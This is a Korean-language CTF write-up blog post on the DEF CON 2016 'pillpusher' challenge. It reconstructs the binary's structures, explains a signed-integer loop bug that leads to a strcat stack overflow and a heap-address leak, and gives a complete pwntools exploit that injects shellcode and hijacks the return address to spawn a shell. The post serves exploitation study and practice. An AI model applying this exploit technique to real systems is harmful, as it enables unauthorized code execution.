ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • defcon 2016 pillpusher
    Pwnable/CTF 2018. 1. 24. 19:14

    statically linked인데 strip이 걸린문제다 ..

    취약점이나 공격방법이나 엄청나게 간단한문제인데 분석이 힘든 문제인것같다 ..


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    fill { #pill
    char* name 0
    int dosage 8
    int schedule 12
    int side_count 16
    int  ?? 20
    char* side[] 24
    int Interactions_count 32
    int ?? 36
    char* Interactions[] 40
    int treats_count 48
    int ?? 52
    char* treats[] 56
    }
     
    pharmacy {
    char *name
    int ?? 8
    int pill_count 12
    pill *Pill 16
    int ?? 24
    int staff_count 28
    staff *Staff 32 #Pharmacist
    }
     
    staff { #pharmacist
    char *name 0
    int level 8
    }
     
    patient {
    char *name 0
    int ?? 8 
    int symptoms_count 12
    char *symptoms[] 16
    }
     
    cs

    구조체는 위와 같다.


    취약점은 Scrip menu에서 Add scrip부분에서




    위 부분에 있다.

    add_pill에서 array_pill_name이라는 배열 사이즈는 512, pill_name  배열 사이즈는 256이고 원래같으면 2번밖에 돌아가지 못해 딱 512에 맞추게되는데 while문안에 들어가는 변수는 signed int형이기때문에 -1을 넣어도 2 보다 큰값인지 확인하는 if문에 들어가지 않기때문에 무한반복 으로 돌아가면서 array_pill_name 배열에 pill_name값을 넣을수있다.



    add pill함수안에 들어가면 strcat함수로 복사를 하기때문에 오버플로우 취약점이 생긴다.


    공격방법으로는 스태틱 링크로 되어있기때문에 execve syscall을 하는방법으로 공격할수있고, NX가 걸려있지 않기때문에 쉘코드를 입력하고 그쪽으로 리턴을 하는방법이 있다.


    쉘코드로 공격을하기위해서는 메모리 릭을 해야되는데 pill menu 에서 add pill 함수를 보면 256 크기인배열에 256밖에 입력을 받는데 256바로 뒤에는 힙 주소를 가지고있는 포인터가 있어서 256 + 힙주소 6byte가 같이 복사가되어서 힙주소 릭이 가능해진다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    from pwn import *
     
    p=process("./pillpusher")
    context(arch='amd64',os='linux')
     
    def pill_add(name,dosage,schedule):
        p.sendlineafter('> ','2')
        p.sendlineafter('> ','1')
        p.sendlineafter(': ',name)
        p.sendlineafter(': ',str(dosage))
        p.sendlineafter(': ',str(schedule))
        ###
     
    def pill_add2(name,schedule):
            p.sendlineafter('> ','2')
            p.sendlineafter('> ','1')
            p.sendlineafter(': ',name)
            p.sendlineafter(': ',str(schedule)) 
     
     
    def pharmacist_add(name,level):
        p.sendlineafter('> ','3')
        p.sendlineafter('> ','1')
        p.sendlineafter(': ',name)
        p.sendlineafter(': ',str(level))
        p.sendlineafter('> ','5')
     
    def patient_add(name,like):
        p.sendlineafter('> ','4')
        p.sendlineafter('> ','1')
        p.sendlineafter(': ',name)
        p.sendlineafter(': ',like)
            ###
    def pharmacy_add(name):
        p.sendlineafter('> ','1')
        p.sendlineafter('> ','1')
        p.sendlineafter('? ',name)
        p.recvuntil('quit.')
     
    pill_add2(asm(shellcraft.amd64.linux.sh())+"\x90"*(255-len(asm(shellcraft.amd64.linux.sh())))+"B",1)
    p.sendlineafter(': ','AAAA\n'#blank
    p.sendlineafter(': ','AAAA\n'#interacts 
    p.sendlineafter(': ','AAAA\n'#side
    p.sendlineafter('> ','3'#list
    p.recvuntil('B')
    heap = u64(p.recv(6)+"\x00\x00"+ 0x48
    shellcode = heap
    print hex(heap)
    print hex(shellcode)
     
    pill_add('B'*255,1,1#255
    p.sendlineafter(': ',asm(shellcraft.sh())) #treats
    p.sendlineafter(': ','AAAA'+'\n'#treats 2
    p.sendlineafter(': ','AAAA\n'#interacts 
    p.sendlineafter(': ','AAAA\n'#side
    pill_add('C'*255,1,1#510
    p.sendlineafter(': ','AAAA\n'#treats
    p.sendlineafter(': ','AAAA\n'#interacts 
    p.sendlineafter(': ','AAAA\n'#side
    pill_add('C'*2+'D'*8+p64(shellcode),1,1#512 + getcallerseflags + sfp + shellcode->ret
    p.sendlineafter(': ','AAAA\n'#treats
    p.sendlineafter(': ','AAAA\n'#interacts 
    p.sendlineafter(': ','AAAA\n'#side
    p.sendlineafter('> ','6'#pill exit
     
    pharmacist_add('aaaa',30)
     
    patient_add('AAAA','Y')
    p.sendlineafter(': ','AAAA'+'\n'#symptoms
    p.sendlineafter('> ','5')
     
    pharmacy_add('AAAA')
    p.sendlineafter(': ','B'*255#pill name
    p.sendlineafter(': ','C'*255)
    p.sendlineafter(': ','C'*2+'D'*8+p64(shellcode)+'\n')
    p.sendlineafter(': ','aaaa'+'\n'#pharmacist name
    p.sendlineafter('> ','5')
     
    #select pharmacy,pharmacist,patient
    p.sendlineafter('> ','5')
    p.sendlineafter('> ','1'#select pharmacy
    p.sendlineafter(': ','AAAA'
    p.sendlineafter('> ','2'#select pharmacist
    p.sendlineafter(': ','1')
    p.sendlineafter('> ','3'#select patient
    p.sendlineafter(': ','AAAA')
     
     
    p.sendlineafter('> ','4'#add scrip
    p.sendlineafter(': ','-1')
    p.sendlineafter(': ','B'*255)
    p.sendlineafter('Add pill: ','C'*255)
    p.interactive()
    p.sendlineafter('Add pill: ','C'*2+'D'*8+p64(shellcode))
     
    p.sendlineafter('Add pill: ','A')
     
    p.interactive()
    cs


    pillpusher.i64



    'Pwnable > CTF' 카테고리의 다른 글

    HITCON CTF 2017 ragnarok  (0) 2018.02.01
    HITCON CTF 2017 babyfs  (0) 2018.01.30
    insomnihack CTF 2018 sapeloshop  (0) 2018.01.23
    Codegate 2017 Final building_owner  (0) 2018.01.21
    Christmas CTF 2017 BitcoinGallery  (0) 2018.01.18
Designed by Tistory.